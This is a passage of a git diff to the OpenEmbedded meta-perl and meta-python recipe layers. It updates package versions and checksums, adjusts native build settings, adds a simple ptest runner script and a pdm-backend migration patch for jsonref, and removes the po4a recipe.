LIC_FILES_CHKSUM = "file://LICENSE;md5=8ea5704cf65ca4ec6e9e167fb94f14dd"
-SRC_URI = "${CPAN_MIRROR}/authors/id/C/CF/CFAERBER/Net-IDN-Encode-${PV}.tar.gz"
+SRC_URI = "${CPAN_MIRROR}/authors/id/C/CF/CFAERBER/Net-IDN-Encode-${PV}.tar.gz \
+ file://Net-IDN-Encode-2.500-use_uvchr_to_utf8_flags_instead_of_uvuni_to_utf8_flags.patch \
+"
SRC_URI[sha256sum] = "55453633e3ff24ce325b34bc2c8157b9859962a31ab5cf28bf7ccc1c9b3a3eaa"
S = "${WORKDIR}/Net-IDN-Encode-${PV}"
@@ -20,4 +22,4 @@ do_configure:prepend() {
BBCLASSEXTEND = "native"
-RDEPENDS:${PN} += "perl-module-unicode-normalize"
+RDEPENDS:${PN} += "perl-module-unicode-normalize perl-module-encode-encoding"
diff --git a/meta-openembedded/meta-perl/recipes-perl/libnet/libnet-ldap-perl_0.68.bb b/meta-openembedded/meta-perl/recipes-perl/libnet/libnet-ldap-perl_0.68.bb
index dcc5ea88b1..a77381dce8 100644
--- a/meta-openembedded/meta-perl/recipes-perl/libnet/libnet-ldap-perl_0.68.bb
+++ b/meta-openembedded/meta-perl/recipes-perl/libnet/libnet-ldap-perl_0.68.bb
@@ -41,5 +41,3 @@ RDEPENDS:${PN}-ptest += " \
perl-module-perlio \
perl-module-test-more \
"
-
-BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-perl/recipes-perl/libstatgrab/libunix-statgrab_0.112.bb b/meta-openembedded/meta-perl/recipes-perl/libstatgrab/libunix-statgrab_0.112.bb
index c568ade997..cf290d9908 100644
--- a/meta-openembedded/meta-perl/recipes-perl/libstatgrab/libunix-statgrab_0.112.bb
+++ b/meta-openembedded/meta-perl/recipes-perl/libstatgrab/libunix-statgrab_0.112.bb
@@ -37,4 +37,3 @@ export LD = "${CCLD}"
inherit cpan pkgconfig ptest-perl
-BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-perl/recipes-perl/libtest/libtest-harness-perl_3.47.bb b/meta-openembedded/meta-perl/recipes-perl/libtest/libtest-harness-perl_3.48.bb
index 836c9662b9..b14fc95f1c 100644
--- a/meta-openembedded/meta-perl/recipes-perl/libtest/libtest-harness-perl_3.47.bb
+++ b/meta-openembedded/meta-perl/recipes-perl/libtest/libtest-harness-perl_3.48.bb
@@ -26,7 +26,7 @@ LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
LIC_FILES_CHKSUM = "file://README;beginline=29;endline=30;md5=d41d8cd98f00b204e9800998ecf8427e"
SRC_URI = "${CPAN_MIRROR}/authors/id/L/LE/LEONT/Test-Harness-${PV}.tar.gz"
-SRC_URI[sha256sum] = "bb31cd4aa90ad4e15f32b08476fb5123b4f19ed0cd28a3291242e8858bf986b5"
+SRC_URI[sha256sum] = "e73ff89c81c1a53f6baeef6816841b89d3384403ad97422a7da9d1eeb20ef9c5"
UPSTREAM_CHECK_REGEX = "Test\-Harness\-(?P<pver>(\d+\.\d+))(?!_\d+).tar"
diff --git a/meta-openembedded/meta-perl/recipes-perl/libtext/libtext-diff-perl/run-ptest b/meta-openembedded/meta-perl/recipes-perl/libtext/libtext-diff-perl/run-ptest
new file mode 100644
index 0000000000..c65b6cf8e0
--- /dev/null
+++ b/meta-openembedded/meta-perl/recipes-perl/libtext/libtext-diff-perl/run-ptest
@@ -0,0 +1,19 @@
+#!/bin/sh
+
+for case in `find t -type f -name '*.t'`; do
+ perl $case >$case.output 2>&1
+ ret=$?
+ cat $case.output
+ if [ $ret -ne 0 ]; then
+ echo "FAIL: ${case%.t}"
+ elif grep -i 'SKIP' $case.output; then
+ echo "SKIP: ${case%.t}"
+ else
+ echo "PASS: ${case%.t}"
+ fi
+
+ rm -f $case.output
+done
+
+
+
diff --git a/meta-openembedded/meta-perl/recipes-perl/libtext/libtext-diff-perl_1.41.bb b/meta-openembedded/meta-perl/recipes-perl/libtext/libtext-diff-perl_1.41.bb
index afdf63ede4..9dfadde8e5 100644
--- a/meta-openembedded/meta-perl/recipes-perl/libtext/libtext-diff-perl_1.41.bb
+++ b/meta-openembedded/meta-perl/recipes-perl/libtext/libtext-diff-perl_1.41.bb
@@ -11,17 +11,24 @@ HOMEPAGE = "http://search.cpan.org/~ovid/Text-Diff/"
LICENSE = "Artistic-1.0 | GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://LICENSE;md5=385c55653886acac3821999a3ccd17b3"
-SRC_URI = "${CPAN_MIRROR}/authors/id/O/OV/OVID/Text-Diff-${PV}.tar.gz"
+SRC_URI = "${CPAN_MIRROR}/authors/id/O/OV/OVID/Text-Diff-${PV}.tar.gz \
+ file://run-ptest \
+ "
SRC_URI[md5sum] = "30d56e6dd5551ca16b8e16cc7299dc21"
SRC_URI[sha256sum] = "a67f50a48e313c1680cc662109ce5f913ea71454db355d0cf4db87ac89d2d2fa"
S = "${WORKDIR}/Text-Diff-${PV}"
-inherit cpan
+inherit cpan ptest
+RDEPENDS:${PN}-ptest += "perl-module-test perl-module-test-more"
RDEPENDS:${PN} = " libalgorithm-diff-perl \
perl-module-extutils-makemaker \
perl-module-exporter \
"
+do_install_ptest () {
+ cp -r ${B}/t ${D}${PTEST_PATH}
+}
+
BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-perl/recipes-perl/po4a/po4a_0.49.bb b/meta-openembedded/meta-perl/recipes-perl/po4a/po4a_0.49.bb
deleted file mode 100644
index 679ea0fb44..0000000000
--- a/meta-openembedded/meta-perl/recipes-perl/po4a/po4a_0.49.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "PO for anything"
-DESCRIPTION = "The po4a (PO for anything) project goal is to ease translations \
-(and more interestingly, the maintenance of translations) using gettext tools \
-on areas where they were not expected like documentation."
-HOMEPAGE = "https://po4a.alioth.debian.org"
-LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a96fc9b4cc36d80659e694ea109f0325"
-
-SRC_URI = "git://github.com/mquinson/po4a.git;protocol=https;branch=master"
-
-# v0.49
-SRCREV = "79ed87a577a543538fe39c7b60079981f5997072"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = " \
- libmodule-build-perl-native \
- libtext-wrapi18n-perl \
- libterm-readkey-perl \
- liblocale-gettext-perl \
- libunicode-linebreak-perl \
-"
-
-RRECOMMENDS:${PN} = " \
- libtext-wrapi18n-perl \
- libterm-readkey-perl \
- liblocale-gettext-perl \
- libunicode-linebreak-perl \
-"
-
-inherit cpan_build
-
-BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-python/conf/include/ptest-packagelists-meta-python.inc b/meta-openembedded/meta-python/conf/include/ptest-packagelists-meta-python.inc
index c4a752ae61..3272d98192 100644
--- a/meta-openembedded/meta-python/conf/include/ptest-packagelists-meta-python.inc
+++ b/meta-openembedded/meta-python/conf/include/ptest-packagelists-meta-python.inc
@@ -29,10 +29,13 @@ PTESTS_FAST_META_PYTHON = "\
python3-prettytable \
python3-pylint \
python3-ptyprocess \
+ python3-py-cpuinfo \
python3-pyasn1-modules \
python3-pyroute2 \
python3-pyserial \
+ python3-pytest-mock \
python3-pytoml \
+ python3-rapidjson \
python3-requests-file \
python3-requests-toolbelt \
python3-semver \
@@ -70,9 +73,7 @@ PTESTS_PROBLEMS_META_PYTHON ="\
python3-parse \
python3-pillow \
python3-pint \
- python3-py-cpuinfo \
python3-pytest-lazy-fixture \
- python3-pytest-mock \
python3-pyzmq \
python3-scrypt \
python3-service-identity \
diff --git a/meta-openembedded/meta-python/recipes-connectivity/python-thrift/python3-thrift_0.16.0.bb b/meta-openembedded/meta-python/recipes-connectivity/python-thrift/python3-thrift_0.16.0.bb
index 9bb3053885..63065e00ba 100644
--- a/meta-openembedded/meta-python/recipes-connectivity/python-thrift/python3-thrift_0.16.0.bb
+++ b/meta-openembedded/meta-python/recipes-connectivity/python-thrift/python3-thrift_0.16.0.bb
@@ -17,4 +17,4 @@ RDEPENDS:${PN} += "\
python3-threading \
"
-BBCLASSEXTEND = "native nativesdk"
+BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python-jsonref/files/migrate-to-pdm-backend.patch b/meta-openembedded/meta-python/recipes-devtools/python-jsonref/files/migrate-to-pdm-backend.patch
new file mode 100644
index 0000000000..805d9edce1
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python-jsonref/files/migrate-to-pdm-backend.patch
@@ -0,0 +1,27 @@
+From 1b594cf12e5a69aa25f49f532c1201a6b39e280d Mon Sep 17 00:00:00 2001
+From: Leon Anavi <leon.anavi@konsulko.com>
+Date: Tue, 7 Nov 2023 10:43:32 +0000
+Subject: [PATCH] Migrate to pdm-backend
+
+Signed-off-by: Leon Anavi <leon.anavi@konsulko.com>
+---
+ pyproject.toml | 6 ++----
+ 1 file changed, 2 insertions(+), 4 deletions(-)
+
+diff --git a/pyproject.toml b/pyproject.toml
+index f549376..c608213 100644
+--- a/pyproject.toml
++++ b/pyproject.toml
+@@ -36,7 +36,5 @@ includes = [
+ profile = "black"
+
+ [build-system]
+-requires = [
+- "pdm-pep517>=1.0.0",
+-]
+-build-backend = "pdm.pep517.api"
++requires = ["pdm-backend"]
++build-backend = "pdm.backend"
+--
+2.39.2
+
diff --git a/meta-openembedded/meta-python/recipes-devtools/python-jsonref/python3-jsonref_1.0.1.bb b/meta-openembedded/meta-python/recipes-devtools/python-jsonref/python3-jsonref_1.0.1.bb
deleted file mode 100644
index 5b842a462d..0000000000
--- a/meta-openembedded/meta-python/recipes-devtools/python-jsonref/python3-jsonref_1.0.1.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-SUMMARY = "jsonref is a library for automatic dereferencing of JSON Reference objects for Python"
-HOMEPAGE = "https://github.com/gazpachoking/jsonref"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=a34264f25338d41744dca1abfe4eb18f"
-
-SRC_URI[sha256sum] = "51d3e18b83ca7170ff51286a0e1a6719d8b7fcc7abdb16b189395a8536996b97"
-
-inherit pypi setuptools3
-
-BBCLASSEXTEND = "native nativesdk"
-
-RDEPENDS:${PN} += " \
- ${PYTHON_PN}-core \
- ${PYTHON_PN}-json \
- ${PYTHON_PN}-netclient \
-"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python-jsonref/python3-jsonref_1.1.0.bb b/meta-openembedded/meta-python/recipes-devtools/python-jsonref/python3-jsonref_1.1.0.bb
new file mode 100644
index 0000000000..fae1da2686
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python-jsonref/python3-jsonref_1.1.0.bb
@@ -0,0 +1,23 @@
+SUMMARY = "jsonref is a library for automatic dereferencing of JSON Reference objects for Python"
+HOMEPAGE = "https://github.com/gazpachoking/jsonref"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=4ac1cccee5d43e11fc4eddcf445be64a"
+
+SRC_URI[sha256sum] = "32fe8e1d85af0fdefbebce950af85590b22b60f9e95443176adbde4e1ecea552"
+
+SRC_URI += "file://migrate-to-pdm-backend.patch"
+
+inherit pypi python_setuptools_build_meta
+
+BBCLASSEXTEND = "native nativesdk"
+
+DEPENDS += " \
+ ${PYTHON_PN}-pdm-native \
+ ${PYTHON_PN}-pdm-backend-native \
+"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-json \
+ ${PYTHON_PN}-netclient \
+"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-aiodns_3.0.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-aiodns_3.1.1.bb
index 64599d43c3..5c685d7e40 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-aiodns_3.0.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-aiodns_3.1.1.bb
@@ -4,8 +4,7 @@ HOMEPAGE = "https://github.com/saghul/aiodns"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=a565d8b5d06b9620968a135a2657b093"
-SRC_URI[md5sum] = "181e11935c78965de2b2b7b0e5efba8d"
-SRC_URI[sha256sum] = "946bdfabe743fceeeb093c8a010f5d1645f708a241be849e17edfb0e49e08cd6"
+SRC_URI[sha256sum] = "1073eac48185f7a4150cad7f96a5192d6911f12b4fb894de80a088508c9b3a99"
PYPI_PACKAGE = "aiodns"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-aiohttp-jinja2_1.5.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-aiohttp-jinja2_1.5.1.bb
index 68cbb265f4..4c4ed3ffd9 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-aiohttp-jinja2_1.5.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-aiohttp-jinja2_1.5.1.bb
@@ -11,5 +11,3 @@ RDEPENDS:${PN} += " \
${PYTHON_PN}-jinja2 \
${PYTHON_PN}-aiohttp \
"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-aiohttp_3.8.5.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-aiohttp_3.9.0.bb
index d04279ed97..d71f3df004 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-aiohttp_3.8.5.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-aiohttp_3.9.0.bb
@@ -4,7 +4,7 @@ HOMEPAGE = "https://github.com/aio-libs/aiohttp"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=748073912af33aa59430d3702aa32d41"
-SRC_URI[sha256sum] = "b9552ec52cc147dbf1944ac7ac98af7602e51ea2dcd076ed194ca3c0d1c7d0bc"
+SRC_URI[sha256sum] = "09f23292d29135025e19e8ff4f0a68df078fe4ee013bca0105b2e803989de92d"
PYPI_PACKAGE = "aiohttp"
inherit python_setuptools_build_meta pypi
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-alembic_1.12.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-alembic_1.12.1.bb
index 78b888e9f1..107546dbfe 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-alembic_1.12.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-alembic_1.12.1.bb
@@ -4,7 +4,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=e3023b042cb6002cb398344b51c67093"
inherit pypi setuptools3
-SRC_URI[sha256sum] = "8e7645c32e4f200675e69f0745415335eb59a3663f5feb487abfa0b30c45888b"
+SRC_URI[sha256sum] = "bca5877e9678b454706347bc10b97cb7d67f300320fa5c3a94423e8266e2823f"
PYPI_PACKAGE = "alembic"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-aniso8601_9.0.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-aniso8601_9.0.1.bb
new file mode 100644
index 0000000000..3d99e48c26
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-aniso8601_9.0.1.bb
@@ -0,0 +1,8 @@
+DESCRIPTION = "A library for parsing ISO 8601 strings."
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=6d91d56f51a54389d95526eefe039b1c"
+
+SRC_URI[sha256sum] = "72e3117667eedf66951bb2d93f4296a56b94b078a8a95905a052611fb3f1b973"
+
+inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-argcomplete_3.1.2.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-argcomplete_3.1.6.bb
index fb66f3da51..28dd9f90c5 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-argcomplete_3.1.2.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-argcomplete_3.1.6.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://github.com/kislyuk/argcomplete"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=2ee41112a44fe7014dce33e26468ba93"
-SRC_URI[sha256sum] = "d5d1e5efd41435260b8f85673b74ea2e883affcbec9f4230c582689e8e78251b"
+SRC_URI[sha256sum] = "3b1f07d133332547a53c79437527c00be48cca3807b1d4ca5cab1b26313386a6"
PYPI_PACKAGE = "argcomplete"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-argh_0.29.4.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-argh_0.30.4.bb
index f67ac9d6c6..82cfa3b8ef 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-argh_0.29.4.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-argh_0.30.4.bb
@@ -12,9 +12,10 @@ tool; Argh just makes it easy to use."
LICENSE = "LGPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING.LESSER;md5=3000208d539ec061b899bce1d9ce9404 \
- file://README.rst;beginline=261;endline=275;md5=a8bf3475df7e0d575a53d04c83d5e090"
+ file://README.rst;beginline=261;endline=275;md5=39ec83a704aed9f33618c5d04e478a08 \
+ "
-SRC_URI[sha256sum] = "695c0ae4534270cae2697841b4a56f434a990694a00264ea10ebbbcdc02c13f7"
+SRC_URI[sha256sum] = "9fca8e69c4dad4f8d2a7bdfbdd80b0754462b53510a03e1b5cf2b43a87e6e960"
inherit pypi python_flit_core
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-arrow_1.3.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-arrow_1.3.0.bb
new file mode 100644
index 0000000000..ec49d04eb9
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-arrow_1.3.0.bb
@@ -0,0 +1,13 @@
+SUMMARY = "Better dates and times for Python"
+HOMEPAGE = "https://github.com/crsmithdev/arrow"
+SECTION = "devel/python"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=14a2e29a9d542fb9052d75344d67619d"
+
+SRC_URI[sha256sum] = "d4540617648cb5f895730f1ad8c82a65f2dad0166f57b75f3ca54759c4d67a85"
+
+inherit setuptools3 pypi
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-dateutil \
+ "
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-astroid_3.0.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-astroid_3.0.1.bb
index 2f80187b2b..db3ef43920 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-astroid_3.0.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-astroid_3.0.1.bb
@@ -4,7 +4,7 @@ SECTION = "devel/python"
LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=a70cf540abf41acb644ac3b621b2fad1"
-SRC_URI[sha256sum] = "1defdbca052635dd29657ea674edfc45e4b5be9cd53630c5b084fcfed94344a8"
+SRC_URI[sha256sum] = "86b0bb7d7da0be1a7c4aedb7974e391b32d4ed89e33de6ed6902b4b15c97577e"
inherit pypi python_setuptools_build_meta
@@ -34,3 +34,5 @@ RDEPENDS:${PN}-tests:class-target += "\
${PYTHON_PN}-unittest \
${PYTHON_PN}-xml \
"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-asttokens_2.4.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-asttokens_2.4.1.bb
index 3942122d60..5cc4291f78 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-asttokens_2.4.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-asttokens_2.4.1.bb
@@ -7,7 +7,7 @@ PYPI_PACKAGE = "asttokens"
inherit pypi python_setuptools_build_meta
-SRC_URI[sha256sum] = "2e0171b991b2c959acc6c49318049236844a5da1d65ba2672c4880c1c894834e"
+SRC_URI[sha256sum] = "b03869718ba9a6eb027e134bfdf69f38a236d681c83c160d510768af11254ba0"
DEPENDS += "python3-setuptools-scm-native"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-autobahn_23.6.2.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-autobahn_23.6.2.bb
index 54c8f23fc3..42a8e0e7b5 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-autobahn_23.6.2.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-autobahn_23.6.2.bb
@@ -19,5 +19,3 @@ RDEPENDS:${PN} += " \
${PYTHON_PN}-txaio \
${PYTHON_PN}-six \
"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-awesomeversion_23.8.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-awesomeversion_23.11.0.bb
index 6fd1364ada..67b78c9e9f 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-awesomeversion_23.8.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-awesomeversion_23.11.0.bb
@@ -4,7 +4,7 @@ SECTION = "devel/python"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENCE.md;md5=92622b5a8e216099be741d78328bae5d"
-SRC_URI[sha256sum] = "d788b2917a716adb912ba1c31b831aedd4c37858fcfe080105dc8da30c2e21c3"
+SRC_URI[sha256sum] = "9146329196f0f045887de6c195730750f8f7a9302d1c149378db73ab5dc468f0"
RDEPENDS:${PN} += "python3-profile python3-logging"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-bandit_1.7.5.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-bandit_1.7.5.bb
index bccdf284e5..ede7f92e8d 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-bandit_1.7.5.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-bandit_1.7.5.bb
@@ -17,5 +17,3 @@ RDEPENDS:${PN} += "\
python3-six \
python3-stevedore \
"
-
-BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-bitarray_2.8.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-bitarray_2.8.3.bb
index cb94df5644..acacdab6de 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-bitarray_2.8.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-bitarray_2.8.3.bb
@@ -1,9 +1,10 @@
-SUMMARY = "A high-level Python efficient arrays of booleans -- C extension"
+SUMMARY = "efficient arrays of booleans -- C extension"
+DESCRIPTION = "A high-level Python efficient arrays of booleans -- C extension"
HOMEPAGE = "https://github.com/ilanschnell/bitarray"
LICENSE = "PSF-2.0"
LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=2ad702cdcd49e8d2ac01d7e7d0810d2d"
-SRC_URI[sha256sum] = "e68ceef35a88625d16169550768fcc8d3894913e363c24ecbf6b8c07eb02c8f3"
+SRC_URI[sha256sum] = "e15587b2bdf18d32eb3ba25f5f5a51bedd0dc06b3112a4c53dab5e7753bc6588"
inherit setuptools3 pypi
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-bitstruct_8.17.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-bitstruct_8.19.0.bb
index d1d30cdb3c..6401322e2c 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-bitstruct_8.17.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-bitstruct_8.19.0.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://github.com/eerimoq/bitstruct"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=d9aa4ec07de78abae21c490c9ffe61bd"
-SRC_URI[sha256sum] = "eb94b40e4218a23aa8f90406b836a9e6ed83e48b8d112ce3f96408463bd1b874"
+SRC_URI[sha256sum] = "d75ba9dded85c17e885a209a00eb8e248ee40762149f2f2a79360ca857467dac"
PYPI_PACKAGE = "bitstruct"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-blinker_1.6.2.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-blinker_1.7.0.bb
index b0728e66cd..f1d8b4fa95 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-blinker_1.6.2.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-blinker_1.7.0.bb
@@ -2,7 +2,7 @@ DESCRIPTION = "Fast, simple object-to-object and broadcast signaling."
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=42cd19c88fc13d1307a4efd64ee90e4e"
-SRC_URI[sha256sum] = "4afd3de66ef3a9f8067559fb7a1cbe555c17dcbe15971b05d1b625c3e7abe213"
+SRC_URI[sha256sum] = "e6820ff6fa4e4d1d8e2747c2283749c3f547e4fee112b98555cdcdae32996182"
inherit pypi python_setuptools_build_meta ptest
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-cachetools_5.3.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-cachetools_5.3.2.bb
index 739e5a8264..5946c267aa 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-cachetools_5.3.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-cachetools_5.3.2.bb
@@ -27,6 +27,6 @@ do_install_ptest() {
cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
}
-SRC_URI[sha256sum] = "dce83f2d9b4e1f732a8cd44af8e8fab2dbe46201467fc98b3ef8f269092bf62b"
+SRC_URI[sha256sum] = "086ee420196f7b2ab9ca2db2520aca326318b68fe5ba8bc4d49cca91add450f2"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-can_4.2.2.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-can_4.2.2.bb
index f3cfd17244..9ca926d66c 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-can_4.2.2.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-can_4.2.2.bb
@@ -27,5 +27,3 @@ RDEPENDS:${PN} += " \
python3-typing-extensions \
python3-wrapt \
"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-cantools_39.2.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-cantools_39.3.0.bb
index a87aff1443..0b590d258b 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-cantools_39.2.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-cantools_39.3.0.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://github.com/eerimoq/cantools"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=d9aa4ec07de78abae21c490c9ffe61bd"
-SRC_URI[sha256sum] = "24045c5575217bb5331543e6a55cee822c37ad811dc4a08c75aa2eee3c6d529c"
+SRC_URI[sha256sum] = "2c3d081922591bc1611c9f1ff52d6c8af1d03314f8c724cc114d856cc555cc28"
PYPI_PACKAGE = "cantools"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-cbor2_5.4.6.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-cbor2_5.5.1.bb
index 19d6cbf444..c8cfaa8aa3 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-cbor2_5.4.6.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-cbor2_5.5.1.bb
@@ -4,7 +4,7 @@ DEPENDS +="${PYTHON_PN}-setuptools-scm-native"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/Apache-2.0;md5=89aea4e17d99a7cacdbeed46a0096b10"
-SRC_URI[sha256sum] = "b893500db0fe033e570c3adc956af6eefc57e280026bd2d86fd53da9f1e594d7"
+SRC_URI[sha256sum] = "f9e192f461a9f8f6082df28c035b006d153904213dc8640bed8a72d72bbc9475"
inherit pypi python_setuptools_build_meta ptest
@@ -15,6 +15,7 @@ SRC_URI += " \
"
RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-hypothesis \
${PYTHON_PN}-pytest \
${PYTHON_PN}-unixadmin \
"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-charset-normalizer_3.2.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-charset-normalizer_3.3.2.bb
index 0c2810c62a..666cb5dc3a 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-charset-normalizer_3.2.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-charset-normalizer_3.3.2.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://github.com/ousret/charset_normalizer"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=0974a390827087287db39928f7c524b5"
-SRC_URI[sha256sum] = "3bb3d25a8e6c0aedd251753a79ae98a093c7e7b471faa3aa9a93a81431987ace"
+SRC_URI[sha256sum] = "f30c3cb33b24454a82faecaf01b19c18562b1e89558fb6c56de4d9118a032fd5"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-cmake_3.27.5.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-cmake_3.27.7.bb
index ad58c6d1d9..b613fd3a19 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-cmake_3.27.5.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-cmake_3.27.7.bb
@@ -11,7 +11,7 @@ PYPI_PACKAGE = "cmake"
PYPI_ARCHIVE_NAME_PREFIX = "pypi-"
inherit pypi python_setuptools_build_meta
